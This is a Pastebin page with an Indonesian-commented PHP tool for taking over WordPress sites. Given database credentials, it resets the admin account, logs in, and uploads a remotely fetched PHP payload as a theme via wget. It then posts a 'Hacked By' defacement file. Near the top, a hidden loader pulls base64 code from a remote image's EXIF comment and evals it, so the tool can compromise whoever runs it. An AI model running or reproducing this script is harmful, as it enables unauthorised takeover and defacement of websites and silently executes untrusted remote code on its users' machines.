src1pt

Auto Deface Wordpress 2016

Oct 28th, 2015
407
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.36 KB | None | 0 0
  1. <?php
  2. //Tu5b0l3d
  3. //IndoXPloit, HNc
  4.  
  5. $BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
  6. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  7.         if($_POST){
  8.                
  9.                 $host = $_POST['host'];
  10.                 $username = $_POST['username'];
  11.                 $password = $_POST['password'];
  12.                 $db = $_POST['db'];
  13.                 $dbprefix = $_POST['dbprefix'];
  14.                 $user_baru = $_POST['user_baru'];
  15.                 $password_baru = $_POST['password_baru'];
  16.                 $prefix = $db.".".$dbprefix."users";
  17.                 $sue = $db.".".$dbprefix."options";
  18.                  $tanya = $_POST['tanya'];
  19.                  $target = $_POST['target'];
  20.                  $nick = $_POST['nick'];
  21.                 $pass = md5("$password_baru");
  22.                
  23.                
  24.                 mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
  25.                 mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
  26.  
  27.                 $tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  28.                 $r=mysql_fetch_array($tampil);
  29.         $id = $r[ID];
  30.  
  31.         $tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
  32.                 $r2=mysql_fetch_array($tampil2);
  33.         $target = $r2[option_value];
  34.        
  35.  
  36.          mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");
  37.  
  38.          
  39.  
  40.  
  41.                         if($tanya=="y"){
  42.  
  43.         function ambilKata($param, $kata1, $kata2){
  44.         if(strpos($param, $kata1) === FALSE) return FALSE;
  45.         if(strpos($param, $kata2) === FALSE) return FALSE;
  46.         $start = strpos($param, $kata1) + strlen($kata1);
  47.         $end = strpos($param, $kata2, $start);
  48.         $return = substr($param, $start, $end - $start);
  49.         return $return;
  50. }
  51.  
  52.         function anucurl($sites){
  53.                 $ch1 = curl_init ("$sites");
  54. curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
  55. curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
  56. curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  57. curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
  58. curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
  59. curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
  60. curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
  61. curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
  62. $data = curl_exec ($ch1);
  63. return $data;
  64.         }
  65.  
  66.         function lohgin($cek, $web, $userr, $pass){
  67.                 $post = array(
  68.                                         "log" => "$userr",
  69.                                         "pwd" => "$pass",
  70.                                         "rememberme" => "forever",
  71.                                         "wp-submit" => "Log In",
  72.                                         "redirect_to" => "$web/wp-admin/",
  73.                                         "testcookie" => "1",
  74.                                         );
  75. $ch = curl_init ("$cek");
  76. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  77. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  78. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  79. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  80. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  81. curl_setopt ($ch, CURLOPT_POST, 1);
  82. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  83. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  84. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  85. $data6 = curl_exec ($ch);
  86. return $data6;
  87.         }
  88.  
  89. $site= "$target/wp-login.php";
  90. $site2= "$target/wp-admin/theme-install.php?upload";
  91. $a = lohgin($site, $target, $user_baru, $password_baru);
  92. $b = lohgin($site2, $target, $user_baru, $password_baru);
  93.                        
  94.  
  95. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  96. echo "# token -> $anu2<br>";
  97.  
  98.  
  99.  system('wget http://pastebin.com/raw.php?i=mEQP6prW');
  100.  system('cp raw.php?i=mEQP6prW m.php');
  101.    
  102.   $post2 = array(
  103.                                         "_wpnonce" => "$anu2",
  104.                                         "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  105.                                         "themezip" => "@m.php",
  106.                                         "install-theme-submit" => "Install Now",
  107.                                         );
  108. $ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
  109. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  110. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  111. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  112. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  113. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  114. curl_setopt ($ch, CURLOPT_POST, 1);
  115. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
  116. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  117. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  118. $data3 = curl_exec ($ch);
  119.  
  120. $namafile = "wew.php";
  121. $fp2 = fopen($namafile,"w");
  122. fputs($fp2,$nick);
  123.  
  124. $y = date("Y");
  125. $m = date("m");
  126.  
  127.  
  128. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/m.php");
  129. curl_setopt($ch6, CURLOPT_POST, true);
  130. curl_setopt($ch6, CURLOPT_POSTFIELDS,
  131. array('file3'=>"@$namafile"));
  132. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  133. curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
  134. $postResult = curl_exec($ch6);
  135. curl_close($ch6);
  136.  
  137. $as = "$target/k.php";
  138. $bs = file_get_contents($as);
  139.  if(preg_match("#hacked#si",$bs)){
  140.                         echo "# <font color='green'>berhasil mepes...</font><br>";
  141.                         echo "# $target/k.php<br>";
  142.                     }
  143.                     else{
  144.                         echo "# <font color='red'>gagal mepes...</font><br>";
  145.                         echo "# coba aja manual: <br>";
  146.                         echo "# $target/wp-login.php<br>";
  147.                         echo "# username: $user_baru<br>";
  148.                         echo "# password: $password_baru<br>";
  149.  
  150.                        
  151.                     }
  152.  
  153.  
  154.  
  155.  
  156.                 }
  157.  
  158.                 elseif($tanya=="n"){
  159.                         echo "# Sukses<br>";
  160.             echo "# username: $user_baru<br>";
  161.             echo "# password: $password_baru<br>";
  162.                 }
  163.  
  164.  
  165.  
  166.         }else{
  167.                         echo '<html>
  168.        <head>
  169.                <title>Wordpress Created New User</title>
  170.        </head>
  171.  
  172.        <body>
  173.                        <center>
  174.                                <center><div id="button"></div>
  175.                                                <h2>Wordpress Created New User</h2>
  176.                                                <table>
  177.                                                        <tr><td><form method="post" action="?action"></td></tr>
  178.                                                        <tr><td><input type="text" name="host" placeholder="localhost"></td></tr>
  179.                                                        <tr><td><input type="text" name="username" placeholder="User DB"></td></tr>
  180.                                                        <tr><td><input type="text" name="password" placeholder="Password DB"></td></tr>
  181.                                                        <tr><td><input type="text" name="db" placeholder="Database"></td></tr>
  182.                                                        <tr><td><input type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
  183.                                                        <tr><td><input type="text" name="user_baru" placeholder="Username Baru"></td></tr>
  184.                                                        <tr><td><input type="text" name="password_baru" placeholder="Password Baru"></td></tr>
  185.                                                          <tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
  186.                        
  187.                            <tr><td><input type="text" name="nick" placeholder="Hacked By Tu5b0l3d"></td></tr>
  188.                                                        <tr><td><input type="submit" value="Ganti"></td></tr>
  189.                                                </table>
  190.                                                *nb: kalo milih y ... silahkan Ganti Form Hacked By Tu5b0l3d jadi Hacked by Nick_ente
  191.                        </center>
  192.        </body>';
  193.                 }
  194.  
  195. ?>
Add Comment
Please, Sign In to add comment